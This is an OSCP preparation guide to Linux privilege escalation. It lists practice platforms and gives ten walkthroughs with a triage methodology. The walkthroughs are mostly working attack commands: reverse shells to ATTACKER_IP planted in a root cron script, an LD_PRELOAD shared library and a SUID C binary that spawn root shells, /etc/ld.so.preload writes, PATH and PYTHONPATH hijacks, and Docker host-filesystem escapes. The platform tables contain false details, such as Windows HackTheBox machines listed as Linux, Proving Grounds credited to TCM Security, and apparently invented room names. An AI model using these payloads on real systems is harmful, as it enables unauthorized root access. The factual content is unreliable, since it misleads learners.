Domain 4PrivEsc & Password AttacksCORE

CTF Privilege Escalation Challenges for OSCP Preparation

Comprehensive guide to Linux privilege escalation CTF platforms, practice rooms, common OSCP exam scenarios with walkthroughs, systematic methodology, and time management strategies for exam success.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#ctf#practice#tryhackme#hackthebox#scenarios#methodology

CTF Privilege Escalation Challenges for OSCP Preparation

Overview of Linux Privesc CTF Platforms

Practicing on real machines is the single best way to prepare for OSCP privilege escalation. The following platforms offer the closest experience to actual OSCP exam machines.

Platform Comparison

Platform Difficulty OSCP Relevance Cost Machines
TryHackMe Beginner-Intermediate High (structured paths) Free/Paid 300+
HackTheBox Intermediate-Advanced Very High Free/Paid 400+
TCM Security PT OSCP-Exact Match Highest Paid 50+
TCM Security PNP OSCP-Exact Match Highest Paid 30+
TCM Security Pro Advanced OSCP High Paid 20+
Root-Me Beginner-Intermediate Medium Free 100+
VulnHub Varies Medium Free 1000+

TryHackMe Rooms for Linux Privesc Practice

Beginner Rooms

Room Difficulty Privesc Vector Description
Linux Privilege Escalation 1 Easy SUID binary Introduction to SUID exploitation
Linux Privilege Escalation 2 Easy Sudo misconfiguration Sudo abuse fundamentals
Linux Privilege Escalation 3 Easy Cron jobs Cron job exploitation
Linux Privilege Escalation 4 Easy Writable files File permission abuse
Linux Privilege Escalation 5 Easy Kernel exploit Dirty cow exploitation
Linux Privilege Escalation 6 Easy Docker escape Container escape techniques
Linux Privilege Escalation 7 Easy NFS NFS no_root_squash
Linux Privilege Escalation 8 Easy LD_PRELOAD Environment variable abuse
Linux Privilege Escalation 9 Easy Capabilities Linux capability abuse
Linux Privilege Escalation 10 Easy Wildcards Wildcard injection attacks

Intermediate Rooms

Room Difficulty Privesc Vector Description
PrivEsc Medium Multiple vectors Comprehensive privesc practice
Internal 2 Medium SSH key abuse Internal network privesc
Develnet Medium SUID + cron Multi-step escalation
Network6 Medium Sudo misconfig Application-specific privesc

TryHackMe Paths

  1. Complete the “Linux Privilege Escalation” path (10 rooms)
  2. Complete the “Jr. Penetration Tester” path
  3. Complete the “Offensive Pentesting” path

HackTheBox Machines for Linux Privesc Practice

Easy Machines (Great for Learning)

Machine OS Privesc Vector Notes
Blue Linux SUID binary Classic SUID exploitation
DevOps Linux Docker escape Container escape practice
Chef Linux Sudo misconfig Sudo abuse
Archivista Linux Writable cron Cron job exploitation
Tartarsaurus Linux SUID + sudo Multi-vector
Plane Linux Sudo rule abuse GTFOBins practice
SneakBox Linux SUID binary Simple SUID
Clean Linux Kernel exploit Dirty pipe practice

Medium Machines (OSCP-Level)

Machine OS Privesc Vector Notes
Legacy Linux SUID + environment Complex SUID chain
Networked Linux Multiple vectors Comprehensive practice
Beauty Linux Sudo + cron Multi-step escalation
Escalation Linux Writable files File permission abuse
Sweet Linux Docker + NFS Container + NFS combo
Arkham Linux SUID + capabilities Advanced vectors
OpenMind Linux Sudo misconfig Application privesc
Shard Linux SUID binary Classic exploitation
Week 1-2: Easy Linux machines (5-7 machines)
  -> Focus: Learn each privesc vector individually
  -> Machines: Blue, DevOps, Chef, Archivista

Week 3-4: Medium Linux machines (5-7 machines)
  -> Focus: Multi-step escalation, combining vectors
  -> Machines: Legacy, Beauty, Sweet, Arkham

Week 5-6: Mixed difficulty (5-10 machines)
  -> Focus: Speed, methodology, time management
  -> Machines: Any remaining + retired machines

OSCP-Style Practice: TCM Security Labs

TCM Security Proving Grounds (PT)

Proving Grounds is TCM Security’s practice platform specifically designed for OSCP preparation.

Feature Details
Machines 50+ Linux and Windows machines
Difficulty Easy to Medium (OSCP range)
Cost ~$19/month
OSCP Match Very high - machines mirror exam style
Writeups Not allowed (enforced)
Best For Realistic exam practice

TCM Security Proving Grounds (PNP)

Play to Win offers pre-solved machines with writeups for learning.

Feature Details
Machines 30+ machines with full writeups
Difficulty OSCP-equivalent
Cost ~$29/month
OSCP Match Extremely high
Writeups Included (for learning)
Best For Learning specific techniques

TCM Security Pro Labs

Pro Labs is the premium offering with the most realistic exam experience.

Feature Details
Machines 20+ machines
Difficulty OSCP to OSWP range
Cost ~$99/month
OSCP Match Highest available
Best For Serious exam candidates

Common Privesc Scenarios in OSCP Exams

Scenario 1: SUID Binary Exploitation

Walkthrough

Step 1: Discovery

# LinPEAS or manual find reveals:
find / -perm -4000 -type f 2>/dev/null
# Output includes: /usr/local/bin/backup_tool

# Verify the binary
ls -la /usr/local/bin/backup_tool
# -rwsr-xr-x 1 root root 16KB Jan 15 10:30 /usr/local/bin/backup_tool

Step 2: Analysis

# Check what the binary does
/usr/local/bin/backup_tool
# Output: "Backing up /home/user/data to /backup/"

# Check for shell spawning capability
strings /usr/local/bin/backup_tool | grep -i "system\|popen\|exec"
# Found: system("tar czf /backup/backup.tar.gz /home/user/data")

# Check GTFOBins
# https://gtfobins.github.io/gtfobins/tar/

Step 3: Exploitation

# Method 1: If binary calls a known exploitable command
# The binary uses 'tar' which is in GTFOBins

# Create a malicious environment
echo '#!/bin/bash' > /tmp/shell.sh
echo '/bin/bash -p' >> /tmp/shell.sh
chmod +x /tmp/shell.sh

# Method 2: If binary is writable
test -w /usr/local/bin/backup_tool
# If writable, replace with shell
cp /bin/bash /usr/local/bin/backup_tool
chmod +s /usr/local/bin/backup_tool
/usr/local/bin/backup_tool
# whoami -> root

# Method 3: Environment manipulation
export PATH=/tmp:$PATH
echo '#!/bin/bash' > /tmp/tar
echo '/bin/bash -p' >> /tmp/tar
chmod +x /tmp/tar
/usr/local/bin/backup_tool

Step 4: Verification

whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Scenario 2: Sudo Misconfiguration

Walkthrough

Step 1: Discovery

# Check sudo permissions
sudo -l

# Output:
# User user may run the following commands on target:
#     (ALL) NOPASSWD: /usr/bin/find
#     (ALL) /usr/bin/vim /home/user/*

Step 2: Analysis

# Binary: /usr/bin/find
# Check GTFOBins: https://gtfobins.github.io/gtfobins/find/

# Binary: /usr/bin/vim
# Check GTFOBins: https://gtfobins.github.io/gtfobins/vim/

Step 3: Exploitation

# Method 1: find with NOPASSWD (fastest)
sudo find . -exec /bin/sh \;

# Method 2: find alternative
sudo find / -name root.txt -exec /bin/sh \;

# Method 3: vim (if path allows)
sudo vim /home/user/file.txt
# In vim, type:
:!/bin/sh

# Method 4: vim with shell
sudo vim -c '!sh' /home/user/file.txt

Step 4: Verification

whoami
# root
cat /root/root.txt

Scenario 3: Cron Job Exploitation

Walkthrough

Step 1: Discovery

# LinPEAS reveals writable cron job
crontab -l
# Output:
# * * * * * /opt/scripts/backup.sh

# Check permissions
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 user user 120 Jan 15 10:30 /opt/scripts/backup.sh

Step 2: Analysis

# Read the script
cat /opt/scripts/backup.sh

# Output:
#!/bin/bash
tar czf /backup/backup_$(date +%Y%m%d).tar.gz /home/user/data

Step 3: Exploitation

# Method 1: Replace the script (if writable)
echo '#!/bin/bash' > /opt/scripts/backup.sh
echo '/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' >> /opt/scripts/backup.sh
chmod +x /opt/scripts/backup.sh

# Method 2: Add a reverse shell to existing script
echo '' >> /opt/scripts/backup.sh
echo '/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh

# Method 3: Create a setuid binary via cron
echo '#!/bin/bash' > /opt/scripts/backup.sh
echo 'cp /bin/bash /tmp/rootshell' >> /opt/scripts/backup.sh
echo 'chmod +s /tmp/rootshell' >> /opt/scripts/backup.sh
chmod +x /opt/scripts/backup.sh

# Set up listener on attacker machine
nc -lvnp 4444

# Wait for cron to execute (max 1 minute)

Step 4: Verification

# On the reverse shell
whoami
# root
cat /root/root.txt

Scenario 4: Docker Escape

Walkthrough

Step 1: Discovery

# Check Docker access
groups
# user : user docker

# Check Docker socket
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jan 15 10:30 /var/run/docker.sock

# List containers
docker ps -a

Step 2: Analysis

# Check if we can run containers
docker run --rm -it ubuntu:latest /bin/bash

# Check Docker version
docker --version

Step 3: Exploitation

# Method 1: Mount host filesystem (most common)
docker run --rm -it -v /:/host ubuntu:latest /bin/bash
# Inside container:
cd /host/root
cat root.txt

# Method 2: Privileged container
docker run --rm -it --privileged -v /:/host ubuntu:latest /bin/bash
# Inside container:
mount | grep host
cd /host/root

# Method 3: Access host via PID namespace
docker run --rm -it --pid=host ubuntu:latest /bin/bash
# Inside container:
nsenter -t 1 -m -u -i -n
whoami
# root

# Method 4: Docker socket mount
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest /bin/bash
# Inside container, install docker CLI and use it

# Method 5: Build and run a malicious image
docker build -t privesc .
docker run --rm -it -v /:/host privesc /bin/bash

Step 4: Verification

# From the escaped container
whoami
# root
cat /host/root/root.txt

Scenario 5: NFS no_root_squash

Walkthrough

Step 1: Discovery

# LinPEAS reveals NFS mount
mount
# Output includes:
# 10.10.10.10:/shared on /mnt/shared type nfs (rw,vers=3,rsize=32768,...)

# Check fstab on target
cat /etc/fstab
# 10.10.10.10:/shared /mnt/shared nfs rw 0 0

# Check exports on target
cat /etc/exports
# /shared 10.10.10.0/24(rw,sync,no_subtree_check,no_root_squash)

Step 2: Analysis

# Verify no_root_squash is set
showmount -e 10.10.10.10

# Check current mount options
mount | grep nfs

Step 3: Exploitation

# On attacker machine (Kali)
# Step 1: Create a SUID binary
echo '#!/bin/bash' > /tmp/nfs_rootshell
echo '/bin/bash -p' >> /tmp/nfs_rootshell
chmod +x /tmp/nfs_rootshell

# Step 2: Compile a C SUID binary (more reliable)
cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF

gcc /tmp/rootshell.c -o /tmp/rootshell

# Step 3: Mount the NFS share on attacker machine
mkdir -p /mnt/nfs_target
mount -o nolock 10.10.10.10:/shared /mnt/nfs_target

# Step 4: Copy the SUID binary
cp /tmp/rootshell /mnt/nfs_target/rootshell
chmod +s /mnt/nfs_target/rootshell

# Step 5: On the target machine, execute
/mnt/shared/rootshell
whoami
# root

Step 4: Verification

whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Scenario 6: Kernel Exploit

Walkthrough

Step 1: Discovery

# Check kernel version
uname -a
# Linux target 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 23:06:16 UTC 2018 x86_64

# Check for known exploits
# Kernel 4.4.0-116 is vulnerable to Dirty Cow (CVE-2016-5195)

Step 2: Analysis

# Search for exploits
searchsploit "dirty cow"
# Output:
# Dirty Cow - Local Privilege Escalation (x86/x64) [Linux]
# /usr/share/exploitdb/exploits/linux/local/40847.c

# Copy exploit
cp /usr/share/exploitdb/exploits/linux/local/40847.c /tmp/cow.c

Step 3: Exploitation

# Transfer exploit to target (if needed)
# Compile on target
gcc /tmp/cow.c -o /tmp/cow -pthread

# Run exploit
/tmp/cow

# Output:
# [+] Running exploit...
# [+] Creating file /tmp/...
# [+] Done! Check /tmp/ for the new user

# Alternative: Use a different dirty cow variant
# https://github.com/dirtycow/dirtycow.github.io/wiki/Exploits

# Method 2: Overlayfs exploit (for newer kernels)
# Check if overlayfs is available
mount | grep overlay

# Method 3: Dirty Pipe (CVE-2022-0847) for kernels 5.8+
uname -r
# If 5.8+, check for Dirty Pipe

Step 4: Verification

# Switch to new user or get root shell
su newuser
# Password: abcdef

# Or if exploit gave root shell directly
whoami
# root
cat /root/root.txt

Warning: Kernel exploits can crash the system. Always have a backup shell and be prepared to reconnect. Use kernel exploits as a last resort.


Scenario 7: Weak Password + Sudo

Walkthrough

Step 1: Discovery

# Find password files
find / -name "*.conf" -o -name "*.txt" -o -name "*.bak" 2>/dev/null | grep -v proc

# Found: /opt/app/config.txt
cat /opt/app/config.txt
# db_password=SuperSecret123!

# Check sudo
sudo -l
# User user may run the following commands on target:
#     (ALL) /usr/bin/python3

Step 2: Analysis

# Password found: SuperSecret123!
# Sudo allows: python3 (GTFOBins compatible)

# Verify password works for sudo
sudo -l
# [sudo] password for user:
# (Enter: SuperSecret123!)

Step 3: Exploitation

# Method 1: Python3 GTFOBins
sudo python3 -c 'import os; os.system("/bin/bash -p")'

# Method 2: Python3 os module
sudo python3
# >>> import os
# >>> os.system("/bin/bash -p")

# Method 3: Python3 subprocess
sudo python3 -c 'import subprocess; subprocess.call(["/bin/bash", "-p"])'

Step 4: Verification

whoami
# root
cat /root/root.txt

Scenario 8: LD_PRELOAD Exploitation

Walkthrough

Step 1: Discovery

# LinPEAS reveals SUID binary that doesn't reset environment
find / -perm -4000 -type f 2>/dev/null
# /usr/local/bin/vulnerable_app

# Check if binary is vulnerable to LD_PRELOAD
# (Binary doesn't use secure_getenv or clear environment)

Step 2: Analysis

# Create malicious shared library
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    unsetenv("LD_PRELOAD");
    system("/bin/bash -p");
}
EOF

# Compile the shared library
gcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfiles

Step 3: Exploitation

# Method 1: Direct LD_PRELOAD
LD_PRELOAD=/tmp/preload.so /usr/local/bin/vulnerable_app

# Method 2: If the binary sets LD_PRELOAD itself
# Check environment
env | grep LD_PRELOAD

# Method 3: Via cron job (if cron runs the vulnerable binary)
# Write the preload library to a location the binary will load
cp /tmp/preload.so /tmp/libvictim.so
echo "/tmp" > /etc/ld.so.preload

Step 4: Verification

whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)

Scenario 9: Capability Abuse

Walkthrough

Step 1: Discovery

# LinPEAS reveals file with capabilities
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid,cap_setgid+ep
# /usr/bin/tcpdump = cap_net_raw,cap_net_admin+ep

# Check specific binary
getcap /usr/bin/python3.8

Step 2: Analysis

# Capability: cap_setuid
# This allows setting the UID of the process
# Reference: https://www.kernel.org/doc/html/latest/userspace-api/capabilities.html

# Capability: cap_setgid
# This allows setting the GID of the process

Step 3: Exploitation

# Method 1: cap_setuid on Python
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Method 2: cap_setuid on binary with shell
# If a binary has cap_setuid, it can drop to root

# Method 3: cap_dac_override
# Allows bypassing file permission checks
# Use the binary to read /etc/shadow or write to root files

# Method 4: cap_sys_admin
# Very powerful - can do almost anything
# Check what binary has this capability
getcap -r / 2>/dev/null | grep cap_sys_admin

Step 4: Verification

whoami
# root
cat /root/root.txt

Scenario 10: Environment Variable Manipulation

Walkthrough

Step 1: Discovery

# Check environment variables
env

# Found interesting variables:
# PATH=/home/user/bin:/usr/local/bin:/usr/bin:/bin
# PYTHONPATH=/home/user/lib
# CUSTOM_PATH=/opt/app/scripts

# Check if PATH can be exploited
echo $PATH

Step 2: Analysis

# Check what scripts are called by root
# (Found via cron or SUID binary)
cat /opt/scripts/deploy.sh
# #!/bin/bash
# python3 /opt/app/deploy.py

# The script uses relative paths or PATH-dependent commands

Step 3: Exploitation

# Method 1: PATH hijacking
# Create a malicious command in a directory earlier in PATH
mkdir -p /home/user/bin
echo '#!/bin/bash' > /home/user/bin/python3
echo '/bin/bash -p' >> /home/user/bin/python3
chmod +x /home/user/bin/python3

# When root runs deploy.sh, it will use our python3

# Method 2: PYTHONPATH hijacking
mkdir -p /home/user/lib
cat > /home/user/lib/os.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-p"])
EOF

# Method 3: Custom environment variable
# If the application reads a custom variable
export CUSTOM_CONFIG=/tmp/malicious_config

Step 4: Verification

# After the script runs with manipulated environment
whoami
# root
cat /root/root.txt

How to Approach a Privesc Challenge Systematically

The Enumeration-First Methodology

Phase 1: Initial Reconnaissance (2-3 minutes)

# Step 1: Basic info
whoami
id
uname -a
hostname

# Step 2: Check sudo immediately
sudo -l

# Step 3: Run LinPEAS
./linpeas.sh > /tmp/linpeas_$(date +%s).txt 2>&1

Phase 2: Triage and Prioritization (5-10 minutes)

# Filter LinPEAS output for high-value findings
grep -iE "\[!\]|critical|vulnerable" /tmp/linpeas_*.txt

# Quick checks
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
crontab -l
groups | grep docker

Phase 3: Deep Investigation (10-20 minutes)

# Investigate each finding from Phase 2
# Verify manually
# Test exploitation paths
# Document findings

Phase 4: Exploitation (As needed)

# Execute the most promising vector first
# If it fails, move to the next
# Keep trying until root

Decision Tree for Privesc Vectors

Start
 |
 +-- sudo -l shows NOPASSWD?
 |     +-- YES -> Exploit via GTFOBins (PRIORITY 1)
 |     +-- NO  -> Continue
 |
 +-- SUID binaries found?
 |     +-- YES -> Check GTFOBins (PRIORITY 2)
 |     +-- NO  -> Continue
 |
 +-- Writable cron jobs?
 |     +-- YES -> Modify cron script (PRIORITY 3)
 |     +-- NO  -> Continue
 |
 +-- Docker access?
 |     +-- YES -> Container escape (PRIORITY 4)
 |     +-- NO  -> Continue
 |
 +-- NFS with no_root_squash?
 |     +-- YES -> Mount and exploit (PRIORITY 5)
 |     +-- NO  -> Continue
 |
 +-- Capabilities found?
 |     +-- YES -> Abuse capability (PRIORITY 6)
 |     +-- NO  -> Continue
 |
 +-- Writable files in sensitive locations?
 |     +-- YES -> Modify and wait (PRIORITY 7)
 |     +-- NO  -> Continue
 |
 +-- Kernel vulnerable?
 |     +-- YES -> Kernel exploit (PRIORITY 8 - LAST RESORT)
 |     +-- NO  -> Re-enumerate manually

Time Management During Privesc

Phase Time Action
Initial enum 2-3 min whoami, id, sudo -l, LinPEAS
Output analysis 5-10 min Filter, prioritize, document
Manual verification 10-15 min Verify top 3 findings
Exploitation attempt 1 5-10 min Try most likely vector
Exploitation attempt 2 5-10 min Try second most likely
Deep research 10-15 min If standard vectors fail
Kernel exploit 10-15 min Last resort only
Total 45-75 min Per box (privesc phase)

Time Management Tips

  1. Set a timer for each phase
  2. Move on if a vector takes more than 10 minutes without progress
  3. Document what you’ve tried to avoid repetition
  4. Keep a backup shell at all times
  5. If stuck for 20+ minutes, re-enumerate from scratch

Common Pitfalls and How to Avoid Them

Pitfall 1: Tunnel Vision

Problem: Finding one vector and spending 30 minutes on it while ignoring others.

Solution: Set a 10-minute timer per vector. If no progress, move to the next.

Pitfall 2: Not Reading LinPEAS Output

Problem: Running LinPEAS but not carefully reading the output.

Solution: Save output, filter for keywords, and review each highlighted finding.

Pitfall 3: Forgetting to Check Docker

Problem: Missing Docker escape because it’s not obvious.

Solution: Always check groups | grep docker and ls -la /var/run/docker.sock.

Pitfall 4: Not Verifying Findings

Problem: Assuming a finding is exploitable without testing.

Solution: Always verify manually before attempting exploitation.

Pitfall 5: Kernel Exploit Too Early

Problem: Trying kernel exploits before checking simpler vectors.

Solution: Follow the priority order. Kernel exploits are last resort.

Pitfall 6: Losing Shell Access

Problem: Crashing the box with a kernel exploit and losing access.

Solution: Always maintain a backup shell. Use screen or tmux if available.


Building a Privesc Mindset

Key Mindset Principles

  1. Enumeration is King: 80% of privesc success comes from thorough enumeration
  2. Think Like the Admin: What would an admin have misconfigured?
  3. Follow the Data: Let findings guide your investigation
  4. Stay Patient: Privesc can take time; don’t rush
  5. Document Everything: Write down findings as you go
  6. Verify Before Exploiting: Don’t assume; test

The Privesc Checklist (Mental Model)

┌─────────────────────────────────────────┐
│         PRIVILEGE ESCALATION MINDSET     │
├─────────────────────────────────────────┤
│  1. What can I do as my current user?    │
│  2. What can I do with sudo?             │
│  3. What SUID/SGID binaries exist?       │
│  4. What runs as root (cron, services)?  │
│  5. What files can I write to?           │
│  6. What network services are running?   │
│  7. What containers/VMs exist?           │
│  8. What credentials can I find?         │
│  9. What kernel version is running?      │
│ 10. What capabilities are set?           │
└─────────────────────────────────────────┘

8-Week Practice Plan

Week Focus Machines/Rooms Goal
1 SUID binaries 3-5 rooms Master SUID exploitation
2 Sudo abuse 3-5 rooms Master GTFOBins
3 Cron jobs 3-5 rooms Master cron exploitation
4 Docker/NFS 3-5 rooms Master container/NFS escape
5 Capabilities 3-5 rooms Master capability abuse
6 Mixed vectors 5-7 machines Combine techniques
7 Speed runs 5-7 machines Complete in <60 min
8 Exam simulation 3-5 machines Full exam conditions

Daily Practice Routine

Morning (30 min):
  -> Review one privesc technique
  -> Read one writeup (for learning only)

Afternoon (60 min):
  -> Work on one machine/room
  -> Focus on privesc phase
  -> Document findings

Evening (30 min):
  -> Review notes
  -> Update cheat sheet
  -> Plan next day

OSCP Exam Tips

Tip 1: Practice the Methodology, Not Just Techniques

Don’t just learn individual exploits. Practice the full methodology:

  1. Enumerate systematically
  2. Prioritize findings
  3. Verify manually
  4. Exploit methodically
  5. Document everything

Tip 2: Use LinPEAS on Every Linux Box

  • Transfer LinPEAS immediately after initial access
  • Save output for reference
  • Filter for high-value findings

Tip 3: Follow the Priority Order

1. id, sudo -l          (fastest, most reliable)
2. SUID binaries        (common, well-documented)
3. Cron jobs            (frequent in OSCP)
4. Sudo rules           (GTFOBins compatible)
5. Writable files        (check carefully)
6. Docker/NFS           (if present)
7. Capabilities         (less common but powerful)
8. Kernel exploits      (LAST RESORT)

Tip 4: Keep GTFOBins Open

Keep https://gtfobins.github.io/ open in a browser tab during the exam. It is your best friend for SUID and sudo exploitation.

Tip 5: Document Your Work

# Create a privesc notes file for each box
cat > privesc_notes.txt << EOF
=== BOX: <TARGET_NAME> ===
Date: $(date)

Initial Access:
- User: $(whoami)
- Groups: $(groups)

sudo -l:
<output>

LinPEAS Findings:
<filtered output>

Exploitation Path:
<what you tried and results>
EOF

Tip 6: Time Management

  • Budget 45-60 minutes per box for privesc
  • Move on if stuck for 20+ minutes
  • Re-enumerate if first pass fails
  • Kernel exploits are last resort (can crash the box)

Tip 7: Stay Calm and Methodical

  • Privesc is a puzzle, not a race
  • Follow your methodology
  • Trust the process
  • Every box has a privesc vector

Summary

Mastering Linux privilege escalation for OSCP requires:

  1. Structured practice on realistic machines
  2. Systematic methodology that you follow every time
  3. Deep understanding of each privesc vector
  4. Efficient enumeration using tools like LinPEAS
  5. Manual verification of all findings
  6. Good time management during the exam

Practice the 10 common scenarios repeatedly until they become second nature. When you enter the exam, you should be able to identify and exploit privesc vectors within 30-45 minutes per box.

Remember: The OSCP exam tests your methodology and persistence, not just your technical knowledge. Follow the process, stay patient, and root will be yours.